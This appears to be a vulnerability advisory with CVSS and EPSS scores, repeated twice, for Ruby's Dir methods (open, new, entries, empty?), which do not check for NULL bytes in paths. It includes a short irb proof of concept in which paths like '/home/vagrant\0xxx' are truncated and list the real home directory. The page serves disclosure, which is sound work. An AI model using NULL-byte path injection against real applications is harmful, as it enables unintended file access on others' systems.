9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.003 Low
EPSS
Percentile
62.2%
It seems that entries
,new
, and empty?
do not check NULL characters in methods of Dir
.
[vagrant@localhost ~]$ ls
test
[vagrant@localhost ~]$ irb
irb(main):001:0> Dir.open("/home/vagrant\0xxx") do |d|
irb(main):002:1* p d.read # => "."
irb(main):003:1> p d.read # => ".."
irb(main):004:1> p d.read
irb(main):005:1> p d.read
irb(main):006:1> end
"."
".."
".bash_logout"
".bash_profile"
=> ".bash_profile"
irb(main):007:0> d = Dir.new("/home/vagrant\0xxx")
=> #<Dir:/home/vagrantxxx>
irb(main):008:0> p d.read # => "."
"."
=> "."
irb(main):009:0> p d.read # => ".."
".."
=> ".."
irb(main):010:0> p d.read
".bash_logout"
=> ".bash_logout"
irb(main):011:0> p d.read
".bash_profile"
=> ".bash_profile"
irb(main):012:0> Dir.entries("/home/vagrant\0yyy")
=> [".", "..", ".bash_logout", ".bash_profile", ".bashrc", ".ssh", ".rbenv", ".pki", ".bash_history", "test"]
irb(main):013:0> Dir.empty?("/home/vagrant\0zzz")
=> false
When using the corresponding method, unintended file operation may be performed.
9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.003 Low
EPSS
Percentile
62.2%